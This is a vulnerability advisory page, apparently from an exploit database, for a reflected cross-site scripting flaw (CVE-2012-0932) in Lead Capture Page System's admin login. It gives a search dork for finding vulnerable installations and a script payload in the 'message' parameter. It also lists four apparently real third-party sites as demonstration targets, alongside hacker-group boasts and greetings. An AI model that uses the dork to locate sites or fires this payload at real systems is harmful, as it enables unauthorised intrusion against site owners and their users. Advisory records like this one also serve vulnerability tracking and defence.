Lead Capture Page System Cross Site Scripting

2012.01.21
Credit: HashoR
Risk: Low
Local: No
Remote: Yes
CVE: CVE-2012-0932
CWE: CWE-79
Dork: intext:\"Powered By Lead Capture Page System\"


CVSS Base Score: 5.8/10
Impact Subscore: 4.9/10
Exploitability Subscore: 8.6/10
Exploit range: Remote
Attack complexity: Medium
Authentication: No required
Confidentiality impact: Partial
Integrity impact: None
Availability impact: Partial

================================================================================= Web : ashiyane.org e-mail : HashoR [DOT] BlackHat [AT] Gmail.Com ######################################### I'm HashoR , member from ashiyane.org -!We Love KurDestaN!- ######################################### ================================================================================ ------|-------------------------------------------------------|------ #### # Exploit :Lead Capture Page System - Cross Site Scripting Vulnerability # Date : 1/21/2012 # Vendor : http://leadcapturepagesystem.com # Author : HashoR # Team : Ashiyane Digital Security Team # E-mail : HashoR [DOT] BackHat [AT] Gmail.Com # Dork : intext:"Powered By Lead Capture Page System" # Home : http://ashiyane.org/forums/ #### >>> Explo!T : in admin login ---> http://site/admin/login.php?message=<script>alert('Xss By HashoR')</script> DeMo: http://dftnews.com/admin/login.php?message=<script>alert('Xss By HashoR')</script> http://goldengatetowealth.org/admin/login.php?message=<script>alert('Xss By HashoR')</script> http://instantmoneynetwork.com/admin/login.php?message=<script>alert('Xss By HashoR')</script> http://provensystem4success.com/admin/login.php?message=<script>alert('Xss By HashoR')</script> >>> [+] LoL....... # By HashoR! We Will Never Stop Hacking Its not a game It's Our Job enjoy! ||> Special Greeting To: All members in Ashiyane.org ||> Special Greeting To: All members in KurdHackTeaM #### # 0wned B0X: KurdHackTeaM - brwsk007 - SA3D HaCk3D Behrooz_Ice - Q7x - Sha2ow - Virangar - Azazel - Ali_Eagle - keivan taghva - elvator - mmilad200 - PrinceofHacking - iman_taktaz - ERroR Black - Rz04 - ruin3r - Gladiator - unique2world - EroRR M3QD4D - Http://Askn - Classic - n3me3iz - Zend - r3d.z0nE HIDDEN-HUNTER - Hijacker - AliAkh - A.S.P.I.R.I.N - *Alexander* - Pr0grammer- HASSAN20- AR455 Greetz: hashor- ArmanSoftware - removal_load - B3HR0Z - @Master - Satanic2000 - N4H - angola And All Ashiyane Defacers ------|-------------------------------------------------------|------

References:

http://ashiyane.org/forums/


See this note in RAW Version
Vote for this issue:
50%
50%


 

Thanks for you vote!


 

Thanks for you comment!
Your message is in quarantine 48 hours.

Comment it here.


(*) - required fields.  
{{ x.nick }} | Date: {{ x.ux * 1000 | date:'yyyy-MM-dd' }} {{ x.ux * 1000 | date:'HH:mm' }} CET+1
{{ x.comment }}
Copyright 2024, cxsecurity.com

 

Back to Top